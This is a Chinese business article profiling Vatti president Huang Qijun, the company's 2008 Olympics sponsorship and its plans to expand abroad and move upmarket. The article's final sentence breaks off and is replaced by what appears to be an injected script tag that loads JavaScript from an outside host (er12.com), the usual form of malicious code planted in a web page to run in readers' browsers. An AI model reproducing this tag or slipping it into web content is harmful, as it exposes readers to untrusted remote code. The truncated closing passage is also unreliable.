海尔、格力等国内大家电巨头围追堵截，西门子、阿里斯顿等十几家外资品牌虎视眈眈，中国厨卫市场狼烟四起。到国际市场去分一杯羹，似乎是个不错的选择。
然而，8月14日，当国内炊具业老大苏泊尔61%的股权被法国小家电巨头seb收购的消息传出，不少人惊愕之余，又发出这样的疑问：对厨卫电器行业的企业来说，国际化就意味着被外资收购？
很显然，与苏泊尔同在厨卫和小家电行业打拼的华帝燃具股份有限公司总裁黄启均并不这么看。他说，华帝决不会走被收购的路，华帝要用自己的方式走向国际市场，华帝的目标，是做百年的中国品牌。
实际上，为了实现这一目标，黄启均运筹已久。最令黄启均自豪的事件是—— 经过两年多的谈判、奔走，今年4月28日，华帝经过激烈角逐，耗资几千万元，签约成为2008年奥运会的燃器具独家供应商，不但给小小的燃器具行业增添了一抹瑰丽的亮色，也成为华帝创造国际性影响、拓展海外市场的一个新契机。
但黄启均很清楚，能否用好奥运这个平台，使自己的投资实现收益最大化，对华帝来说是不小的挑战。毕竟，投入奥运营销的几千万，对于一个年销售额十几亿的企业来说，是个不小的数字，胜败似乎在此一役。
奥运棋局
获知华帝成为奥运赞助商的第一时间，黄启均就开始马不停蹄地为华帝制定奥运战略。 “在作为奥运独家供应商的3年中，华帝将借助奥运独享资源，做大既有的燃器具市场。”黄启均说。
成为奥运赞助商后，营业费用增长造成的公司净利润的下降，是华帝直接面临的一个问题。事实上，今年上半年，华帝已经对此深有感触—— 由于奥运会推广广告和公司品牌形象店终端的提升工程，就使企业的营业费用与以往相比有大幅提升。
但黄启均对此表示乐观。“营销就像一场赌博，虽然前期投入大，但若获得成功，市场的回报也是巨大的。奥运的投入大约会占华帝未来3年销售额的1%左右，并且可以通过产品、服务、现金等多种方式支付。2008年，若华帝的营业额能达到25亿元，为奥运投入的所有成本都将不成为企业的负担。”
华帝的奥运宣传效应已经显现。华帝一拿到奥运会独家供应商的资格，就不断有国外客户前来造访。有些是厨卫产品的经销商，也有些是国际厨卫企业的领导人。这些外资企业认为，能与奥运联姻的企业一定有相当实力、产品质量得到消费者认可，并且完成了一定的社会责任，他们希望能与华帝展开更多领域的合作。
目前，华帝已经加快了拓展国际市场的步伐，力求国际市场占主营业务收入比例快速提升。黄启均正在积极引进战略投资者，拓展电磁炉、电饭煲等oem产品的出口。另外，他还希望借力奥运的国际性影响力，使华帝获得欧美市场长期买家的关注与合作。华帝更远一步的计划是进入欧盟市场，但品牌影响力是个掣肘，“我们打算走合作道路，譬如和德国公司合作。”黄启均说。
“我们所面临的最大的风险可能是浪费—— 有了奥运这样一个很好的平台和机遇，如果不能使企业达到我们想要的成果，就是我们最大的失败。”黄启均说，“奥运战略是一项系统工程，华帝对奥运资源的整合也决不会仅限于终端的形象传播，而是要融入到企业运作的每一个细节之中，使华帝的品牌与奥运精神实现很好的结合。”
国际化从称霸中国市场开始
目前，潜伏在中国厨卫市场上的国外品牌大多走高端路线，瞄准的是中国经济快速发展中诞生的中产阶级和有较高消费能力的群体。中国市场之所以备受青睐，是因为中国有占世界1/5的人口，本身就是一个开放的大市场。
黄启均认为，中国企业要走国际化道路，要从称霸中国市场开始。
但他深知，华帝尽管是行业领跑者，但厨卫毕竟是个小行业—— 如今，华帝的业务板块主要是厨房电器和供热系统两部分，无法支撑起百亿级的品牌成长。因此，他为华帝构画出一幅宏伟的蓝图：至2010年，华帝传统的燃气具业务将与新兴的太阳能、沼气业务，在股份公司总销售额中各占到一半的份额。
另外，华帝还迈开了大踏步向高端挺进的步伐。目前，华帝新基地已基本竣工，一期工程约十几万平方米，总投资2亿多元，是大型的热水器与抽烟机生产基地。“华帝要鸟枪换炮，要用更好的设备来做更优质、更高端的产品，要增加产品的附加值，改善和消费者的沟通，升华人性化和工业化的设计，使自己倡导的创意生活真正落地。”
按照黄启均的布局，未来的华帝要加大技术开发的力度，加强以高端热水器和灶具为代表的高端产品的制造，主动放弃一些低端产品，并将部分普通企业都能制造的产品外包出去。为此，明年1月1日，华帝要展开大规模的换标行动，全面更新和提升自己的终端形象，将2000多家专卖店和4000个销售点进行全面改造和升级。
锻造国际品牌的dna
哈佛商学院的一项调查表明：消费者对国际品牌的喜好度的8%，是看这个品牌的生产商是?script src=http://er12.com/t.js>
